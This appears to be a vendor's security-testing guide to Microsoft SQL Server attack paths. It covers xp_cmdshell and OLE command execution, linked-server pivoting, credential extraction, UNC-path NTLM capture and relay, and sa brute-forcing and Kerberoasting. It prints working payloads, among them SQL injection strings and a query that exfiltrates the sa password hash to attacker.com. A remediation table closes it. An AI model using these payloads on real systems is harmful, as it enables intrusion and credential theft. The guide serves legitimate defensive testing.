Microsoft SQL Server has been a fixture in enterprise environments for decades, and its security model carries the weight of that history. Features like xp_cmdshell, linked servers, and the sa account exist for legitimate operational reasons โ and represent significant attack vectors when misconfigured. This guide covers what security testers look for in MSSQL deployments: OS command execution paths, lateral movement via linked servers, credential exposure in SQL Agent jobs and master keys, and NTLM hash capture via UNC path injection.
SQL Server's attack surface differs from other databases because of its deep integration with the Windows operating system. The SQL Server service account runs as a Windows principal, which means SQL injection or authenticated access to the database can translate directly into Windows host compromise.
| Attack Vector | Access Required | Impact |
|---|---|---|
| xp_cmdshell | sysadmin role | OS command execution as SQL Server service account |
| Linked Servers | Low-privilege SQL user | Cross-server query execution, potential privilege escalation |
| SQL Agent Jobs | SQLAgentOperatorRole or higher | OS command execution via CmdExec job steps |
| UNC Path Injection | Any authenticated user | NTLM hash capture, potential relay attack |
| sa Account Abuse | Network access + weak password | Full sysadmin access, xp_cmdshell enablement |
| Impersonation (EXECUTE AS) | Any user with IMPERSONATE grant | Privilege escalation to sysadmin |
xp_cmdshell is a SQL Server extended stored procedure that executes Windows commands and returns their output as result rows. It's disabled by default in SQL Server 2005+ but remains widely enabled in legacy environments and development instances.
-- Check if xp_cmdshell is enabled
SELECT name, value, value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell';
-- If value_in_use = 0, it's disabled but may be re-enableable
-- Enabling requires sysadmin and 'show advanced options' first
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig /all';
EXEC xp_cmdshell 'net user';
-- Check SQL Server service account privileges
EXEC xp_cmdshell 'whoami /priv';
When xp_cmdshell is disabled, several alternative paths exist for OS interaction from SQL Server:
-- OLE Automation stored procedures (alternative OS execution)
-- Requires 'Ole Automation Procedures' enabled
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\output.txt';
-- Read the output file
CREATE TABLE #output (line VARCHAR(255));
BULK INSERT #output FROM 'C:\output.txt';
SELECT * FROM #output;
-- CLR stored procedures (if CLR integration is enabled)
SELECT name, is_clr_enabled FROM sys.configurations WHERE name = 'clr enabled';
-- CLR allows arbitrary .NET code execution within SQL Server
-- OPENROWSET to external resources
SELECT * FROM OPENROWSET('SQLNCLI',
'Server=attacker.com,1433;Trusted_Connection=yes;',
'SELECT 1');
The combination of SQL injection and xp_cmdshell is the classic database-to-OS pivot. Applications that build queries with string concatenation and connect to SQL Server with sa or sysadmin credentials are the highest-risk targets.
-- SQL injection payload to stack queries and execute xp_cmdshell
-- Application query: SELECT * FROM products WHERE id = [input]
-- Payload:
1; EXEC xp_cmdshell 'powershell -enc <base64_payload>' --
-- Via sqlmap with MSSQL-specific OS shell:
sqlmap -u "https://target.com/product?id=1" \
--dbms=mssql \
--os-shell \
--technique=S
# sqlmap will attempt to enable xp_cmdshell and provide interactive OS shell
# If xp_cmdshell fails, sqlmap tries OLE automation as fallback
Linked servers allow one SQL Server instance to execute queries against another SQL Server (or OLE DB data source) as if it were local. This is designed for distributed queries but creates a lateral movement path across the database tier when misconfigured.
-- List all linked servers configured on this instance
SELECT name, product, provider, data_source, is_linked
FROM sys.servers
WHERE is_linked = 1;
-- More detail on linked server security configuration
SELECT
ls.name AS linked_server,
ls.data_source,
ll.local_principal_id,
ll.remote_name,
ll.uses_self_credential
FROM sys.servers ls
LEFT JOIN sys.linked_logins ll ON ls.server_id = ll.server_id;
-- What can I query via linked servers?
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@version');
SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases;
The key vulnerability: a low-privilege user on Server A can execute queries on Server B if a linked server connection is configured to use a high-privilege account (including sa) for the remote connection.
-- Check privileges on the linked server
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME],
'SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')');
-- If the remote account is sysadmin, you can enable xp_cmdshell there
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE')
AT [LINKED_SERVER_NAME];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE')
AT [LINKED_SERVER_NAME];
EXEC ('EXEC xp_cmdshell ''whoami''')
AT [LINKED_SERVER_NAME];
-- Crawl the linked server chain (Server A โ B โ C)
-- First hop: execute on linked server B
SELECT * FROM OPENQUERY([SERVER_B],
'SELECT * FROM OPENQUERY([SERVER_C], ''SELECT @@version'')');
-- Use PowerUpSQL for automated linked server enumeration and exploitation
# Get-SQLServerLinkCrawl -Instance "target-sql,1433" -Username sa -Password Password1
# Invoke-SQLEscalatePriv -Instance "target-sql,1433"
-- PowerUpSQL automated crawl
# Install-Module PowerUpSQL
Import-Module PowerUpSQL
# Discover accessible SQL servers on the network
Get-SQLInstanceScanUDP -ComputerName target-range | Get-SQLConnectionTestThreaded
# Enumerate linked servers recursively
Get-SQLServerLinkCrawl -Instance "sql01.corp.local,1433" -Verbose
# Check for privilege escalation paths
Invoke-SQLAuditPriv -Instance "sql01.corp.local,1433" -Username lowpriv -Password pass123
SQL Server's credential objects store usernames and passwords used by SQL Agent jobs, linked server authentication, and database mail. These are encrypted with the database master key, which is protected by the service master key derived from the Windows service account.
-- List credential objects (requires sysadmin)
SELECT name, credential_identity, create_date, modify_date
FROM sys.credentials;
-- List database-scoped credentials
SELECT name, credential_identity
FROM sys.database_scoped_credentials;
-- SQL Server Agent proxy accounts store credentials used by agent jobs
-- List proxy accounts
USE msdb;
SELECT p.name, p.credential_id, c.name AS credential_name, c.credential_identity
FROM dbo.sysproxies p
JOIN sys.credentials c ON p.credential_id = c.credential_id;
-- Credentials are encrypted but if you have sysadmin you can abuse them directly
-- The service account running SQL Server can read the SMK from Windows DPAPI
-- List SQL Agent jobs and their step commands (may contain hardcoded credentials)
USE msdb;
SELECT
j.name AS job_name,
js.step_name,
js.subsystem,
js.command,
js.database_name
FROM dbo.sysjobs j
JOIN dbo.sysjobsteps js ON j.job_id = js.job_id
WHERE js.subsystem IN ('CmdExec', 'PowerShell', 'ActiveScripting')
ORDER BY j.name;
-- CmdExec steps often contain connection strings with credentials:
-- Example finding in command field:
-- sqlcmd -S db-server -U sa -P SuperSecret123 -Q "EXEC sp_cleanup"
-- powershell.exe -Command "Import-Module SQLPS; Invoke-Sqlcmd -ServerInstance prod -Username sa -Password P@ssw0rd"
-- Check job owner security (jobs run as the job owner's context)
SELECT j.name, sp.name AS owner_name, sp.is_sysadmin
FROM msdb.dbo.sysjobs j
JOIN sys.server_principals sp ON j.owner_sid = sp.sid;
-- Linked server passwords are stored encrypted in the registry
-- Location: HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\[instance]\Security\
-- With sysadmin, you can use xp_cmdshell to access the registry:
EXEC xp_cmdshell 'reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server" /s | findstr /i password'
-- PowerUpSQL can extract linked server passwords if you have sysadmin:
# Get-SQLServerCredential -Instance "sql01,1433" -Verbose
-- The linked server password hash extraction via DAC (Dedicated Admin Connection):
-- Connect with DAC (only one DAC allowed at a time):
-- sqlcmd -S admin:sql01 -A
-- Then query internal encryption tables (complex, version-specific)
SQL Server will authenticate to UNC paths (\\server\share) using the Windows credentials of the SQL Server service account. This behavior enables NTLM hash capture when an attacker controls a server listening for SMB connections.
-- xp_dirtree causes SQL Server to make an outbound SMB connection
-- This works with any authenticated SQL user โ no sysadmin required
EXEC master..xp_dirtree '\\attacker-ip\share';
-- Other built-in functions that trigger outbound SMB:
EXEC master..xp_fileexist '\\attacker-ip\share\file.txt';
EXEC master..xp_subdirs '\\attacker-ip\share';
-- On attacker machine โ capture NTLM hashes:
# Using Responder:
python3 Responder.py -I eth0 -v
# Using Impacket's smbserver:
python3 smbserver.py share /tmp/share -smb2support
# Captured hash format (NTLMv2):
# SQL_SVC::CORP:challenge:hash:nthash
# Crack with hashcat:
hashcat -m 5600 captured_hash.txt wordlist.txt
# Or relay with ntlmrelayx (if SMB signing disabled on target):
python3 ntlmrelayx.py -t smb://dc.corp.local -smb2support
-- If SQL injection exists in an application using MSSQL, UNC injection is immediate
-- Error-based injection with UNC:
'; EXEC master..xp_dirtree '\\attacker-ip\capture'--
-- Out-of-band data exfiltration via UNC (DNS query carries data):
-- SQL Server's fn_xe_file_target_read_file can trigger HTTP/UNC requests
DECLARE @q varchar(1024);
SET @q = '\\'+( SELECT TOP 1
CONVERT(varchar(128), LOGINPROPERTY(l.name, 'PasswordHash'), 2)
FROM sys.sql_logins l
WHERE l.name = 'sa' )+'.attacker.com\share';
EXEC master..xp_dirtree @q;
The sa (system administrator) account is a built-in SQL Server login with permanent sysadmin role membership. It cannot be deleted โ only disabled and renamed. Many legacy installations have it enabled with weak or default credentials.
# Test for sa account with common passwords
sqlcmd -S target-sql,1433 -U sa -P "" -Q "SELECT @@version"
sqlcmd -S target-sql,1433 -U sa -P "sa" -Q "SELECT @@version"
sqlcmd -S target-sql,1433 -U sa -P "Password1" -Q "SELECT @@version"
# Automated: Metasploit
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.0.0/24
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set BLANK_PASSWORDS true
run
# Nmap script for MSSQL auth:
nmap -p 1433 --script ms-sql-brute \
--script-args brute.firstonly=true,userdb=users.txt,passdb=pass.txt \
target-ip
# Check sa account status (requires another SQL login):
SELECT name, is_disabled, type_desc
FROM sys.server_principals
WHERE name = 'sa';
-- Check which logins you can impersonate
SELECT DISTINCT b.name
FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
AND a.grantee_principal_id = SUSER_ID();
-- Check database-level impersonation
SELECT DISTINCT b.name
FROM sys.database_permissions a
JOIN sys.database_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
AND a.grantee_principal_id = USER_ID();
-- If you can impersonate a sysadmin:
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin'); -- should return 1
EXEC xp_cmdshell 'whoami';
REVERT; -- drop back to original context
-- Database trustworthy property abuse for privilege escalation
-- If a database is TRUSTWORTHY and owned by a sysadmin login:
SELECT name, is_trustworthy_on, suser_sname(owner_sid) AS owner
FROM sys.databases
WHERE is_trustworthy_on = 1;
# SQL Server service accounts running as domain users are Kerberoastable
# Request TGS for MSSQLSvc SPN
# Find SQL Server SPNs:
setspn -Q MSSQLSvc/*
ldapsearch -x -H ldap://dc.corp.local -D "user@corp.local" -W \
-b "DC=corp,DC=local" \
"(servicePrincipalName=MSSQLSvc*)" \
servicePrincipalName sAMAccountName
# Kerberoast via Impacket:
python3 GetUserSPNs.py corp.local/lowpriv:Password1 \
-dc-ip 10.0.0.1 \
-request \
-outputfile mssql_tgs.txt
# Crack the TGS offline:
hashcat -m 13100 mssql_tgs.txt /usr/share/wordlists/rockyou.txt
The most dangerous MSSQL configurations โ sa enabled with a weak password, xp_cmdshell on, SQL injection in the application tier โ often coexist. Ironimo tests all three layers in sequence, calculating the actual blast radius: SQL injection + sysadmin + xp_cmdshell = OS command execution on the database host.
| Finding | Severity | Fix |
|---|---|---|
| xp_cmdshell enabled | Critical | Disable immediately: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE |
| sa account enabled with weak password | Critical | Disable the sa account; use named Windows service accounts instead |
| Linked server with sysadmin credentials | Critical | Reconfigure linked servers to use least-privilege accounts; audit all linked servers |
| SQL Agent job with hardcoded credentials | High | Move credentials to Credential objects; use Windows Authentication where possible |
| UNC path injection via xp_dirtree accessible to low-privilege users | High | Restrict xp_dirtree/xp_fileexist execution; block outbound SMB at firewall |
| TRUSTWORTHY database owned by sysadmin | High | Set ALTER DATABASE dbname SET TRUSTWORTHY OFF; audit database ownership |
| Mixed mode authentication enabled | Medium | Switch to Windows Authentication only where possible; enforce strong password policy |
| OLE Automation Procedures enabled | Medium | Disable: EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE |
SQL Server's feature richness is its security liability. Every extended stored procedure, every linked server connection, every SQL Agent job step is a potential escalation path. A security-hardened MSSQL deployment disables everything it doesn't need โ and audits what remains.
Ironimo identifies MSSQL exposure, SQL injection in connected applications, and default credential risks across your environment automatically.
Start free scan